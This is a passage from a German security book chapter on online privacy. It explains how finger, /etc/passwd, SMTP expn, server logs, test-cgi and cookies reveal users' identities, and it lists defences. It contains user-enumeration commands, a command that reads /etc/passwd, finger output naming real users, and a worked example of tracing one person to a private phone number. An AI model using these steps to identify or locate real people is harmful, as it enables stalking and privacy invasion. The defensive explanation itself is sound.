Ich möchte mit einer pauschalen Aussage beginnen, die Sie niemals vergessen sollten: Die Internet-Architektur
wurde nicht mit dem Ziel des Schutzes der persönlichen Privatsphäre entwickelt. Es gibt sogar mehrere
Standard-Utilities, die speziell zum Zweck der Verfolgung und Identifizierung von Benutzern entworfen wurden.
Wir werden uns gleich ansehen, wie einige davon funktionieren. Vorher möchte ich jedoch noch erläutern, wie die
Benutzerinformationen auf Servern gespeichert werden.
29.2.2 Wie Benutzerinformationen auf Servern gespeichert werden
Es gibt zwei universelle Arten der Identifizierung im Internet: Ihre E-Mail-Adresse und Ihre IP-Adresse. Beide
enthüllen Ihre Identität. Zumindest bieten beide einen sehr guten Ausgangspunkt für eine Spionage.
Insbesondere Ihre E-Mail-Adresse kann Ihren wirklichen Namen preisgeben. Denn selbst wenn Ihr
Internet-Provider Windows NT verwendet, um ein paar Web-Sites darauf abzulegen, verwenden fast alle ISPs Unix
als ihre Basisplattform. Das ist deswegen so, weil Unix (gekoppelt mit einem Protokoll namens RADIUS) die
Verwaltung von Einwähl-Accounts sehr einfach macht. (Es bietet auch einen besseren Mail-Support als
Windows NT, wenn Sie es mit Hunderten oder sogar Tausenden von Accounts zu tun haben.)
Auf dem Unix-System werden Benutzerinformationen in einer Datei namens passwd gespeichert, die sich im
Verzeichnis /etc befindet. Diese Datei enthält Login-Namen, Benutzernamen und gelegentlich auch die Paßwörter
(allerdings nur in verschlüsselter Form). Ein Eintrag der passwd-Datei sieht folgendermaßen aus:
jdoe:x:13864:1:John Doe:/export/home/jdoe:/sbin/sh
Wenn Sie sich diesen Eintrag genauer ansehen, werden Sie feststellen, daß die Felder durch Doppelpunkte getrennt
sind. Besonders interessant sind die Felder 1, 5 und 6. Diese Felder enthalten folgende Informationen:
jdoe - Ihr Benutzername
John Doe - Ihr wirklicher Name
/export/home/jdoe - Ihr Home-Verzeichnis
Diese Informationen sind wichtig, und Unix verwendet sie für viele Aufgaben. Zum Beispiel werden diese
Informationen jedesmal überprüft, wenn Sie sich einloggen, wenn Sie Mail erhalten und wenn Sie sich ausloggen.
Leider sind diese Informationen auch der Öffentlichkeit verfügbar, mit Hilfe eines Utilities namens finger.
29.2.3 finger
finger ist ein bei Unix-Systemen verbreiteter Dienst. Er dient dazu, entfernten Hosts Benutzerinformationen zur
Verfügung zu stellen. Wie alle TCP/IP-Dienste basiert auch finger auf dem Client-Server-Modell.
Wenn ein Unix-System bootet, lädt es fast ein Dutzend entfernte Dienste (z.B. einen Webserver, einen FTP-Server,
einen Telnet-Server und so weiter). Der finger-Server heißt fingerd und wird normalerweise als finger-Daemon
Anonymität wahren
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bezeichnet.
Der finger-Daemon wartet auf lokale oder entfernte Anfragen nach Benutzerinformationen. Wenn er eine solche
Anforderung erhält, leitet er alle Informationen weiter, die gegenwärtig auf dem Ziel zur Verfügung stehen. (Das
Ziel sind in diesem Fall Sie.)
Bei Unix kann eine finger-Anfrage von einem Kommando-Prompt erfolgen. Die Ergebnisse von dem finger-Server
werden dann an dem lokalen Terminal ausgegeben. Eine finger- Anfrage an einem Kommando-Prompt sieht z.B. so
aus:
$finger -l jdoe@john-doe.com
Diesen Befehl kann man ungefähr so übersetzen: »Such nach jdoe und erzähl mir alles über ihn, was Du finden
kannst.« Wenn ein Benutzer einen solchen Befehl erteilt, wird der finger- Daemon an john-doe.com kontaktiert. Er
durchsucht das System nach jdoe und liefert schließlich diese Informationen:
Login name: jdoe In real life: John Doe
Directory: / Shell: /sbin/sh
Last login Tue May 18 19:53 on pts/22
New mail received Mon May 18 04:05:58 1997;
unread since Mon May 18 03:20:43 1997
No Plan.
Jahrelang waren derartige Informationen nur für Unix- und VAX/VMS-Benutzer verfügbar. Diese Zeiten sind
jedoch vorbei. Heute gibt es finger-Clients (Programme, die finger-Anfragen durchführen) für alle Plattformen. In
Tabelle 29.1 sind einige aufgeführt:
Tabelle 29.1: Finger-Clients für andere Plattformen als Unix und Windows NT
Client Plattform URL
InkFinger Windows ftp://ftp.demon.co.uk/pub/ibmpc/win95/apps/finger/inkf100.zip
QuikFinger Windows http://fuzz.stanford.edu/QuikFinger/quikfinger.exe
Total Finger Windows http://ahab.nantucket.net/files/tfinger.exe
Nfinger Windows ftp://papa.indstate.edu/winsock-l/Windows95/Finger/NFinger.zip
Finger 1.5.0 MacOS ftp://ftp.stairways.com/stairways/finger-150.sit.bin
IPNetMonitor MacOS (PPC) ftp://ftp23.pair.com/pub/psichel/IPNetMonitor_19.sit.hqx
IPNetMonitor Mac (68 K) ftp://ftp23.pair.com/pub/psichel/IPNetMonitor68K_19.sit.hqx
Gibbon Finger OS/2 http://www.musthave.com/files/gcpfng10.zip
Thumb OS/2 http://www.musthave.com/files/thumb10.zip
Hinweis:
Windows NT hat inzwischen eine integrierte finger-Unterstützung, so daß kein Client eines
Drittanbieters erforderlich ist. Um jemand von einem NT- Rechner aus zu fingern, öffnen Sie einfach
ein Befehlszeilen-Fenster und fingern target@host.com.
Viele Systemadministratoren erlauben der Außenwelt einen unbeschränkten finger-Zugriff. Das ermöglicht es
entfernten Benutzern, nicht nur Sie, sondern alle Benutzer Ihres Systems zu identifizieren. Dazu müssen sie den
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folgenden Befehl eingeben:
finger @mein_zielhost.com
Das Symbol @ funktioniert genau wie ein Asterisk bei der Suche nach regulären Ausdrücken. Der Befehl sagt
eigentlich folgendes aus: »Zeig mir alle Benutzer, die gegenwärtig eingeloggt sind.«
Als ich dieses Kapitel schrieb, wollte ich Ihnen ein Beispiel zur Verfügung stellen und fingerte alle Benutzer auf
Netcom.com. Zum Zeitpunkt meiner Suche waren gerade 611 Personen eingeloggt. Hier sind die ersten 20 Zeilen
dieser Anfrage:
aba-dc Libor Xanadu 0:08 *p7 netcom11 (den-co-pm22.netc)
abern Andrew Wennberg q2 netcom15 (den-co-pm14.netc)
adaworks AdaWorks p5 netcom (pax-ca7-02.ix.ne)
adorozco Adrian Orozco q7 netcom2 (lax-ca-pm52.netc)
adt Anthony D. Tribelli qf netcom5 (207.82.69.163)
afa Frank Acker qd netcom20 (scz-ca-pm17.netc)
afujimo Anne Fujimoto p1 netcom (pax-ca7-23.ix.ne)
ahmed Samad qd netcom7 (sjc-ca-pm4.netco)
aibase AI Base *pc netcom12 (scz-ca-pm6.netco)
akiaki Akihiro Kiuchi *p4 netcom20 (sjx-ca-pm24.netc)
alaria Tower *pe netcom18 (sjx-ca-pm24.netc)
alderson Richard M. Alderson pd netcom16 (clwyd.xkl.com)
alisont A. Taub q1 netcom15 (whx-ca-pm15.netc)
alliene Alliene H. Turner 1 mont q0 netcom16 (ple-ca-pm23.netc)
almacd Al MacDonald 0:09 pb netcom18 (den-co-pm13.netc)
alvin Alvin H. White *pc netcom15 (sjc-ca-pm6.netco)
ami Ami 0:03 *q0 netcom14 (malignant.lump.n)
anatola2 Janice Frasche' r3 netcom9 (sac-ca-pm5.netco)
anatola2 Janice Frasche' p1 netcom8 (netcom9.netcom.c)
andrewg Andrew Ghali r6 netcom10 (firewall.nvidia.)
Es sieht nicht gerade danach aus, als hätten diese Personen eine geschützte Privatsphäre, oder? Tatsache ist, daß 99
Prozent der übrigen 591 Zeilen die wirklichen Namen der Benutzer preisgaben. Wenn Sie glauben, daß Ihre
Identität geschützt ist, wenn nur der Name Ihres Unternehmens aufgeführt wird, sollten Sie sich das noch einmal
genauer überlegen. Sehen wir uns dazu die dritte Zeile der obigen Ausgabe an:
adaworks AdaWorks p5 netcom (pax-ca7-02.ix.ne)
Das sieht eigentlich ziemlich anonym aus, oder? Eine Suche bei http://www.altavista.digital.com/ bringt das
Ergebnis, daß adaworks@netcom.com in Wirklichkeit Jeremy Richter ist, von AdaWorks Software Engineering in
Palo Alto, Kalifornien. Es kommt aber noch schlimmer - eine Suche bei http://www.worldpages.com/ gibt sogar
seine private Telefonnummer preis (zusätzlich zur Anschrift und Telefonnummer seines Büros).
Hinweis:
Für die Suche nach deutschen Telefonnummern können Sie z.B. http:// www.teleauskunft.de/ verwenden.
In vielen Fällen können Sie, indem Sie mit finger beginnen und mit WorldPages aufhören, die Privatadresse einer
Person (zusammen mit einer Karte, wie Sie dorthin finden) in weniger als 30 Sekunden herausbekommen. Wenn
jemand Ihnen erzählt, daß finger keine privaten Daten preisgibt, sollten Sie ihm ein Exemplar dieses Buches
schenken. Finger kann einen Fremden direkt vor Ihre Haustür leiten.
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29.2.4 Lösungen für das finger-Problem
Es gibt Lösungen für das finger-Problem. Bevor Sie sich die Mühe machen, sollten Sie jedoch zuerst prüfen, ob Sie
überhaupt ein potentielles Ziel sind.
Hinweis:
Wenn Sie ausschließlich America Online benutzen, können Sie diesen Abschnitt überspringen. AOL
erlaubt keine finger-Anfragen über seine Benutzer.
Es gibt zwei Arten, auf die Sie herausfinden können, ob Sie ein potentielles finger-Ziel sind:
Führen Sie eine finger-Anfrage nach sich selbst durch.
Prüfen Sie die Datei /etc/passwd auf dem Server Ihres ISP.
Um diese von einem Shell-Prompt aus zu überprüfen, müssen Sie einen der folgenden Befehle eingeben:
grep Ihr_Benutzername /etc/passwd
ypcat passwd || cat /etc/passwd | grep Ihr_Benutzername
Diese Befehle werden die Informationen der Datei /etc/passwd des Servers ausgeben. Die Ausgabe wird etwa
so aussehen:
jdoe:x:65536:1:John Doe:/export/home/jdoe:/sbin/sh
Wenn Sie ein potentielles finger-Ziel sind, gibt es mehrere Dinge, die Sie unternehmen können, um den Grad der
Preisgabe von Informationen zu minimieren:
Verwenden Sie das Utility chfn, um die finger-Informationen zu verändern, die für die Außenwelt sichtbar
sind.
Wenn chfn nicht zur Verfügung steht, bitten Sie den Systemadministrator darum, Ihre Informationen zu
verändern.
Kündigen Sie Ihren gegenwärtigen Account und beantragen Sie einen neuen.
Hinweis:
Wahrscheinlich überrascht Sie mein Rat, Ihren Account zu kündigen. Der Grund dafür ist folgender: Sie
selbst haben die Informationen für /etc/passwd geliefert. Sie haben diese Informationen zur Verfügung
gestellt, als Sie den Account beantragt haben. Wenn Sie nicht auf chfn zugreifen können und Ihr
Systemadministrator sich weigert, diese Informationen zu ändern, werden Sie dort stehen bleiben, bis
Sie Ihren Account kündigen. Wenn Sie Ihren Account kündigen und einen neuen beantragen, können Sie
selbst bestimmen, welche Informationen der Server über Sie erhält.
Wenn es Ihnen eigentlich egal ist, ob Sie gefingert werden, Sie aber gerne wissen möchten, wer dies tut, sollten Sie
MasterPlan einsetzen.
29.2.5 MasterPlan
MasterPlan (geschrieben von Laurion Burchall) geht ziemlich aggressiv vor, wenn es darum geht, herauszufinden,
wer Sie fingert. Jedesmal wenn eine finger-Anfrage erkannt wird, fängt MasterPlan den Hostnamen und die
IP-Adresse der fingernden Partei ab. Diese Informationen werden in einer Datei gespeichert, die finger_log heißt.
MasterPlan wird außerdem feststellen, wie oft Sie gefingert werden, so daß Sie herausfinden können, ob jemand
versucht, Sie zu clocken. (Clocken heißt, daß Benutzer A versucht, die Gewohnheiten von Benutzer B mit Hilfe
verschiedener Utilities zu ermitteln, einschließlich finger und r-Utilities.)
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Tip:
Die r-Utilities bestehen aus einem Paket von Netzwerk-Utilities, die Informationen über Benutzer auf
entfernten Hosts zusammentragen können. Ich werde weiter unten auf eines dieser Utilities, rusers,
näher eingehen.
Beim Clocken verwendet der Spion ein automatisiertes Script, um sein Ziel alle X Minuten oder Stunden zu
fingern. Dafür kann es verschiedene Gründe geben. Einer ist, ein Profil des Ziels aufzubauen: Wann loggt sich der
Benutzer ein? Wie oft überprüft er seine Mail? Von wo aus loggt der Benutzer sich üblicherweise ein? Aus diesen
Anfragen kann eine neugierige Person andere mögliche Punkte des Netzwerks ermitteln, an denen Sie gefunden
werden könnten.
Hier ist ein Beispiel: Ein Cracker, den ich kenne, wollte die E-Mail einer in Amerika bekannten Journalistin
abhören, die sich mit Hacker-Stories beschäftigt. Diese Journalistin hatte verschiedene Accounts und loggte sich oft
von einem in einen anderen ein. (Mit anderen Worten verkettete sie ihre Verbindungen. Auf diese Weise versuchte
sie, ihre private E- Mail-Adresse geheimzuhalten.)
Indem er ein Clocking-Script auf die Journalistin ansetzte, konnte der Cracker ihre private, unveröffentlichte
E-Mail-Adresse herausfinden. Er war auch in der Lage, ihr Netzwerk offenzulegen und schließlich ihre Mail
abzufangen. Die Mail enthielt Diskussionen zwischen der Journalistin und einem Software-Ingenieur in England
über einen Crack, der in den Medien großes Aufsehen erregt hatte. (Diese Mail wurde später an die Cracker-
Gemeinde im ganzen Internet verteilt.)
MasterPlan kann Clocking-Muster identifizieren, zumindest im Hinblick auf finger-Anfragen. Das Utility ist klein
und leicht zu konfigurieren. Der C-Quellcode ist beigefügt, und die Distribution läßt sich auf den meisten
Unix-Systemen sauber kompilieren. (Die Ausnahmen sind Ultrix und NeXT.) Eine nette Annehmlichkeit für
Linux-Benutzer ist, daß der Distribution auch eine kompilierte Binary beigefügt ist. Die Standard-Distribution von
MasterPlan finden Sie unter der folgenden Adresse:
ftp://ftp.netspace.org/pub/Software/Unix/masterplan.tar.Z
Die für Linux kompilierte Version finden Sie unter:
ftp://ftp.netspace.org/pub/Software/Unix/masterplan-linux.tar.Z
Hinweis:
MasterPlan hindert andere nicht daran, Sie zu fingern. Es identifiziert nur diejenigen, die dies tun, und
zeichnet auf, wie oft sie dies tun. Leider ist MasterPlan zur Zeit nur für Unix verfügbar.
Sobald Sie sich vor finger-Anfragen abgeschirmt haben, haben Sie vielleicht das Gefühl, daß Ihr Name jetzt vor
neugierigen Blicken geschützt ist. Wieder falsch. Finger ist nur der Anfang. Es gibt ein Dutzend andere Wege, wie
Ihre E-Mail-Adresse und Ihr Name Informationen über Sie preisgeben.
29.2.6 Wenn nicht finger, dann eben ...
Selbst wenn Ihr Provider finger-Anfragen untersagt, ist es immer noch einfach, an Ihren Namen zu gelangen. Wenn
Spione versuchen, Sie zu fingern und entdecken, daß finger nicht läuft, wenden sie sich Ihrem Mail-Server zu. In
den meisten Fällen akzeptieren Server Telnet -Verbindungen an Port 25 (der Port, an dem Sendmail läuft). Eine
solche Verbindung sieht z.B. wie folgt aus:
220 shell. Sendmail SMI-8.6/SMI-SVR4 ready at Wed, 19 Feb 1997
Â07:17:18 -0800
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Wenn Außenstehende an den Prompt gelangen, können sie schnell an Ihren Namen kommen, indem sie den
folgenden Befehl eingeben:
expn benutzername
Der Befehl expn löst Benutzernamen in E-Mail-Adressen und wirkliche Namen auf. Die Antwort wird im
allgemeinen so aussehen:
benutzername <benutzername@ziel_der_untersuchung.com> wirklicher Name
Das erste Feld gibt Ihren Benutzernamen oder Ihre Benutzerkennung an, gefolgt von Ihrer E-Mail-Adresse und
schließlich Ihrem »wirklichen« Namen.
Systemadministratoren können die expn-Funktion deaktivieren, aber nur wenige tun dies. Wenn diese Funktion
aktiviert ist, können neugierige Personen jedenfalls an Ihren wirklichen Namen gelangen, wenn dieser verfügbar ist.
Wieder ist es das beste, wenn Sie Ihren wirklichen Namen aus der passwd-Datei löschen.
Hinweis:
Leider kann ein Spion die Existenz Ihres Accounts überprüfen, selbst wenn die expn-Funktion
deaktiviert ist. Dazu benutzt er die Funktion vrfy (wenn Ihr Server sie unterstützt).
Wie Sie sehen, stellt finger ein großes Problem für den Schutz der Privatsphäre dar - aber das ist erst der Anfang.
29.3 Browser-Sicherheit
Mit der Entwicklung des E-Commerce wurden verschiedene Methoden zur Verfolgung Ihrer Web-Aktivitäten
entwickelt. Zwei Hauptmethoden werden durch Ihren Web-Browser implementiert:
Ausspionieren von IP-Adresse und Cache
Cookies
Für sich genommen scheinen diese Techniken eigentlich harmlos zu sein. Wenn Sie jedoch anonym bleiben wollen,
müssen Sie etwas unternehmen, um sich gegen beide zu schützen. Wir sehen uns beide einmal an.
29.3.1 Ausspionieren von IP-Adresse und Cache
Jedesmal, wenn Sie einen Web-Server besuchen, hinterlassen Sie eine Spur. Diese Spur wird auf unterschiedlichen
Servern jeweils anders aufgezeichnet, aber aufgezeichnet wird sie immer. Ein typischer Log-Eintrag (von Apache)
unter Unix sieht z.B. so aus:
153.35.38.245 [01/May/1998:18:12:10 -0700] "GET / HTTP/1.1" 401 362
Beachten Sie den ersten Eintrag (die IP-Adresse). Alle Web-Server-Pakete sind in der Lage, die IP-Adressen der
Besucher aufzuzeichnen. Die meisten Web-Server können jedoch noch weitere Informationen aufzeichnen,
einschließlich dem Hostnamen und sogar Ihrem Benutzernamen. Um zu sehen, welche Informationen ein
Web-Server über Sie speichern kann, sollten Sie einmal die folgende Site aufsuchen:
http://www.ixd.com/cgi-bin/cgi-test.cgi
Ich ließ einen Freund von mir bei JetLink Internet Services diese Site besuchen. Der Server lieferte ihm die
folgenden Informationen:
The host SERVER_NAME, DNS alias, or IP address is: "www.ixd.com"
The name and revision of the SERVER_SOFTWARE is:
Â"Netscape-Enterprise/2.0a"
The name and revision of the SERVER_PROTOCOL is: "HTTP/1.0"
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The SERVER_PORT number for this server is: "80"
The SERVER_ADMINistrator e-mail address is: ""
The name and revision of cgi GATEWAY_INTERFACE is: "CGI/1.1"
The extra PATH_INFO included on the URL is: ""
The actual extra PATH_TRANSLATED is: ""
The server DOCUMENT_ROOT directory is: ""
The cgi SCRIPT_NAME is: "/cgi-bin/cgi-test.cgi"
The query REQUEST_METHOD is: "GET"
The QUERY_STRING from Form GET is: ""
The CONTENT_TYPE of the Form POST data is: ""
The CONTENT_LENGTH of the Form POST data is: ""
The name of the REMOTE_HOST making the request is:
"ppp-208-19-49-Â216.isdn.jetlink.net"
The IP REMOTE_ADDRress of the remote host is: "208.19.49.216"
The authentication (AUTH_TYPE) method is: ""
The authenticated REMOTE_USER is: ""
The remote user (REMOTE_IDENT) for (rfc 931) is: ""
The MIME types that the client will (HTTP_ACCEPT):
Â"image/gif, image/x-xbitmap,
Âimage/jpeg, image/pjpeg, image/png, */*"
The client's browser type (HTTP_USER_AGENT) is:
Â"Mozilla/4.04 [en] (Win95; U)"
The page (HTTP_REFERER) that client came from:
"http://altavista.digital.com/cgi-bin/query?pg=q&text=yes&q=
Â%22test%2ecgi%22&stq=10"
The e-mail address (HTTP_FROM) of the client is: ""
Beachten Sie, daß zusätzlich zur IP-Adresse auch die Einwählleitung protokolliert wurde, die mein Freund benutzte:
The name of the REMOTE_HOST making the request is: "ppp-208-19-49-
Â216.isdn.jetlink.net"
Noch wichtiger ist jedoch, daß der Server die Site identifizierte, die mein Freund zuletzt besucht hatte:
The page (HTTP_REFERER) that client came from:
"http://altavista.digital.com/cgi-bin/
querry?pg=q&text=yes&q=%22test%2ecgi%22&stq=10"
Das Skript, das diese Informationen aufzeichnete, heißt test-cgi. Es wird verwendet, um grundlegende
Umgebungsvariablen zu protokollieren, sowohl auf der Server- als auch der Client-Seite. (Wie es nun einmal so ist,
kann test-cgi auch ein ungeheures Sicherheitsloch sein, und die meisten ISPs entfernen es von ihrem Server.)
Mit Hilfe dieser Log-Dateien und Scripts können Webmaster genau herausfinden, wo Sie sind, welches Ihre
Netzwerkadresse ist und wo Sie gewesen sind. Fühlen Sie sich jetzt etwas unwohl? Dann wenden wir uns einmal
den Cookies zu.
29.4 Cookies
Cookies. Das klingt für Sie vielleicht verlockend (nach Keksen eben), aber nicht für mich - mir ist meine
Privatsphäre sehr wichtig. In der Vergangenheit haben viele Journalisten Artikel über Cookies verfaßt, in denen sie
versuchten, der Öffentlichkeit die Angst vor ihnen zu nehmen. In solchen Artikeln spielen sie den Einfluß von
Cookies herunter und tun sie als harmlos ab. Sind Cookies wirklich harmlos? Da bin ich ganz anderer Meinung.
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Cookies werden verwendet, um Informationen über Sie zu speichern, während Sie eine Webseite besuchen. Bei
Netscape erläutert man das so:
Dieser simple Mechanismus stellt ein leistungsfähiges neues Tool dar, das einem Host die Ausführung
neuer Arten von Anwendungen ermöglicht, die für Web-basierte Umgebungen geschrieben werden
können. Einkaufswagen-Anwendungen können die Informationen über die aktuell ausgewählten Artikel
speichern; gebührenpflichtige Dienste können Registrierungsinformationen zurücksenden und somit
den Kunden davon befreien, bei der nächsten Verbindung wieder seine Benutzerkennung eingeben zu
müssen; Sites können benutzerspezifische Präferenzen auf dem Client speichern, die jedesmal von
diesem geliefert werden, wenn die Site besucht wird.
Wegweiser:
Der obige Abschnitt ist ein Auszug aus »Persistent Client State HTTP Cookies«. Sie finden ihn unter
http://home.netscape.com/newsref/std/ cookie_spec.html.
Cookies sind so etwas ähnliches wie der Stempel, den Sie auf die Hand bekommen, wenn Sie eine Disco besuchen.
Sie können durch die Disco laufen, etwas trinken, ein bißchen tanzen und sogar mal nach draußen gehen. Solange
der Stempel noch auf Ihrer Hand ist, müssen Sie nicht noch einmal bezahlen und der Zutritt wird Ihnen nicht
verwehrt. Auf ähnliche Weise »erinnern« sich Web-Server an Sie: an Ihr Paßwort, Ihre Interessen usw. Wenn Sie
auf die Seite zurückkehren, werden diese Informationen automatisch wieder geladen. Daß die Informationen wieder
geladen werden, ist jedoch nicht das Problem bei den Cookies. Die Kontroverse geht darum, wo die Informationen
gespeichert sind: nämlich auf Ihrer Festplatte.
Das geht folgendermaßen: Wenn Sie eine Webseite besuchen, schreibt der Server ein Cookie auf Ihre Festplatte.
Dieses Cookie wird in einer speziellen Datei gespeichert.
Hinweis:
Windows-Benutzer können die Cookie-Datei an unterschiedlichen Orten finden, je nachdem, welchen
Browsertyp und welche Windows-Version sie verwenden. Bei älteren Versionen werden Cookies in
einer Datei namens cookies.txt gespeichert. Bei neueren Netscape-Versionen (und beim Microsoft
Internet Explorer) werden Cookies einzeln im Verzeichnis C:\WINDOWS\COOKIES gespeichert. (Auf
Macintosh-Systemen heißt die Datei MagicCookie.)
Typische Einträge einer Cookie-Datei sehen z.B. so aus:
www.webspan.net FALSE /~frys FALSE 859881600 worldohackf
 2.netscape.com TRUE / FALSE 946684799
ÂNETSCAPE_ID
1000e010,107ea15f.adobe.com TRUE / FALSE 946684799 INTERSE
Â207.171.18.182 6852855142083822www.ictnet.com FALSE / FALSE
Â946684799 Apache pm3a-4326561855491810745.microsoft.com TRUE
 / FALSE 937422000 MC1
ÂGUID=260218f482a111d0889e08002bb74f65.msn.com TRUE / FALSE
Â937396800 MC1 ID=260218f482a111d0889e08002bb74f65comsecltd.com
ÂFALSE / FALSE 1293753600 EGSOFT_ID
Â207.171.18.176-3577227984.29104071
.amazon.com TRUE / FALSE 858672000 session-id-time
Â855894626.amazon.com TRUE / FALSE 858672000
 session-id 0738-6510633-772498
Diese Cookie-Datei ist ein reales Beispiel. Ich habe sie von der Festplatte eines Partners von mir gezogen. Sie
können sehen, daß unter GUID Zeile 8 die ersten Zahlen eine IP-Adresse sind. Daraus können Sie erkennen, daß
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das Setzen eines Cookies generell die Aufzeichnung Ihrer IP-Adresse beinhaltet.
Befürworter von Cookies bestehen darauf, daß diese harmlos seien, da sie nicht helfen würden, den Benutzer zu
identifizieren. Das ist jedoch nicht wahr, wie D. Kristol und L. Montulli in RFC 2109 beschreiben:
Ein Ursprungsserver könnte einen Set-Cookie-Header erzeugen, um den Weg des Benutzers durch den
Server aufzuzeichnen. Die Benutzer könnten dieses Verhalten als eine unerwünschte Sammlung von
Informationen ansehen, selbst wenn ihre Identität nicht sichtbar ist. (Die Identität könnte sichtbar
werden, wenn ein Benutzer später ein Formular ausfüllt, in das er persönliche Daten einträgt.)
Heute werden Cookies routinemäßig zur Authentifizierung von Benutzern eingesetzt. Das ist beunruhigend und
wurde sofort als Problem erkannt. In RFC 2109 heißt es:
Anwender-Agenten sollten es dem Benutzer ermöglichen, die Kontrolle über das Löschen von Cookies
zu übernehmen. Ein selten genutztes Cookie könnte als »Einstellungen«-Datei für
Netzwerkanwendungen dienen, und der Benutzer möchte ihn vielleicht behalten, obwohl er am
längsten nicht benutzt wurde. Eine mögliche Implementierung wäre ein Interface, mit dessen Hilfe der
Benutzer über ein Kontrollkästchen auswählen kann, ob das Cookie dauerhaft gespeichert (oder
umgehend gelöscht) werden soll.
Trotz der frühzeitig ausgesprochenen Warnungen vor Cookies wird die Mehrheit der Web- Browser immer noch
mit aktivierter Option »Cookies akzeptieren« ausgeliefert. Und obwohl die meisten Browser zwar eine Option dafür
haben, daß Sie gewarnt werden, bevor Sie ein Cookie akzeptieren, ist auch diese Option per Voreinstellung
deaktiviert. Wenn Sie beispielsweise den Netscape Communicator verwenden, gehen Sie einmal zum Menü
Bearbeiten und wählen Sie Einstellungen. Wenn dieses Fenster geöffnet ist, klicken Sie auf Erweitert. Sie sehen
dann ein Fenster, wie in Abb. 29.1 dargestellt.
Abbildung 29.1: Das Netscape-Fenster Einstellungen und die Optionen für Cookies
Der Microsoft Internet Explorer wird im Prinzip im gleichen Zustand ausgeliefert. Denken Sie mal einen Moment
darüber nach: Was meinen Sie, wie viele Computer-Besitzer überhaupt wissen, daß es so etwas wie Cookies gibt?
Sollten sie nicht wenigstens darüber informiert werden, daß eine solche Sammlung von Informationen stattfindet?
Ich finde schon.
Gibt es Lösungen für dieses Problem? Ja. Es gibt zwei sehr gute Lösungen. Eine löst das Cookie-Problem, und die
andere löst alle Probleme im Zusammenhang mit dem Ausspionieren der IP-Adresse - Sie müssen sie nur
anwenden.
Cookies bekämpfen
Cookies lassen sich leicht verwalten und bezwingen, indem man einen sogenannten Cookie- Cutter einsetzt. Das
sind Programme, die Ihnen die Kontrolle über Cookies ermöglichen (Sie können sie ansehen, löschen oder bedingt
ablehnen). In Tabelle 29.2 finden Sie Namen und URLs von mehreren Cookie-Cuttern.
Tabelle 29.2: Cookie-Cutter
Programm Plattform URL
Cookie Pal Windows http://www.kburra.com/cp1setup.exe
CookieCutterPC Windows http://ayecor.com/software/cc32/ccpc32.zip
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Anti-Cookie Windows http://users.derbytech.com/~gregeng/cookie10.zip
Cookie? NOT! Windows http://www.geocities.com/SiliconValley/Vista/2665/bake.zip
Cookie Monster MacOS http://www.geocities.com/Paris/1778/CookieMonster151.sit
NoMoreCookies MacOS http://www.chelmsford.com/home/star/software/downloads/no_more_cookies.sit.bin
ScapeGoat MacOS ftp://ftp.stazsoftware.com/pub/downloads/scapegoat.sea.hqx
Hinweis:
Windows- und MacOS-Benutzer können die Cookie-Datei oder das -Verzeichnis auch mit dem Attribut
schreibgeschützt versehen. Dadurch wird verhindert, daß Cookies auf die Festplatte geschrieben
werden. Unix-Benutzer sollten die Datei cookies.txt löschen und statt dessen eine symbolische
Verknüpfung erzeugen, die auf /dev/null zeigt.
Weitere Informationen über Cookies finden Sie in den folgenden Artikeln:
A Cookies Monster? Stephen T. Maher, Law Products Magazine. http://www.usual.com/ article6.htm
Cookies and Privacy FAQ. http://www.cookiecentral.com/n_cookie_faq.htm
Are Cookie Files Public Record? Dan Goodin, CNET. http://www.news.com/News/Item/ 0,4,17170,00.html
How Web Servers' Cookies Threaten Your Privacy. Junkbusters.
http://www.junkbusters.com/ht/en/cookies.html
HTTP State Management Mechanism (Request Comments 2109. Dieses Dokument behandelt die technischen
Aspekte des Cookie-Mechanismus.) http://www.ics.uci.edu/ pub/ietf/http/rfc2109.txt
Modem Operandi FAQ: Persistent Cookies. Craig C. Bailey. http://www.vermontguides.com/faqteg14.htm
Sie sollten folgendes wissen: Cookies und das test-cgi-Skript sind nicht die einzige Art, auf die Webmaster
Informationen über Sie herausfinden können. Es gibt noch andere, weniger auffällige Techniken. Viele JavaScript-
und Perl-Skripte können an Ihre IP-Adresse gelangen. Diese Art von Code kann auch Ihren Browsertyp, Ihr
Betriebssystem und so weiter abfragen. Das folgende Beispiel ist in JavaScript geschrieben:
<script language=javascript>
function Get_Browser() {
var appName = navigator.appName;
var appVersion = navigator.appVersion;
document.write(appName + " " + appVersion.substring
Â(0,appVersion.indexOf(" ")));
}
</script>
Dieses JavaScript-Beispiel fragt den Browser und seine Version ab. Scripts wie diese werden zu Tausenden im
Internet verwendet. Ein sehr beliebtes ist das »Book 'em, Dan-O«-Script. Dieses (in Perl geschriebene) Script
zeichnet auf, wann Sie auf die Site zugegriffen haben, welchen Browser in welcher Version Sie benutzen und
welche IP-Adresse Sie haben.
Wegweiser:
Das »Book 'em, Dan-O«-Script wurde von einer Person namens Spider geschrieben. Sie finden es in
Matts Skript-Archiv unter http://worldwidemart.com/scripts/dano.shtml .
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Ähnliche Programme sind in einer Vielzahl von Programmiersprachen verfaßt worden, darunter auch Java. Ein
Java-Programm mit derselben Funktion finden Sie hier:
http://www.teklasoft.com/java/applets/connect/socket.html
29.4.1 Lösungen zum Schutz der Privatsphäre von Lucent Technologies
Cookie-Cutter sind ausgezeichnet für die Handhabung von Cookies geeignet (genau wie das einfache Deaktivieren
von Cookies in Ihrem Browser). Wenn Sie jedoch richtig paranoid sind (wie ich), müssen Sie sich Lucent
Personalized Web Assistant besorgen. Es ist momentan die einzige umfassende Lösung, die meiner Meinung nach
akzeptabel ist. LPWA löst nicht nur das Cookie-Problem, sondern auch das Problem mit der IP-Adresse. Bei Lucent
beschreibt man das so:
Um mehr Informationen über Sie zu erhalten, überreden Web-Sites Sie vielleicht dazu, einen Account
einzurichten. Dazu müssen Sie einen Benutzernamen, ein Paßwort, eine E-Mail-Adresse und weitere
Informationen (Alter, Einkommen etc.) angeben. Nachdem Sie einen Account bei einer Web-Site
eingerichtet haben, wird diese normalerweise jede Ihrer Aktivitäten verfolgen, und sie kann diese
Informationen den persönlichen Informationen hinzufügen, die Sie bei Ihrer Anmeldung zur Verfügung
gestellt haben... Das ist für den Schutz der Privatsphäre bedenklich, weil solche Accounts ein einfaches
Mittel darstellen könnten, eine Akte über die Surf-Gewohnheiten eines Benutzers anzulegen.
Zusätzliche Informationen über den Benutzer werden der Web-Site durch das HTTP-Protokoll und
durch Cookie-Mechanismen zur Verfügung gestellt.
Um dieses Eindringen in Ihre Privatsphäre zu verhindern (wobei Sie trotzdem nicht darauf verzichten müssen,
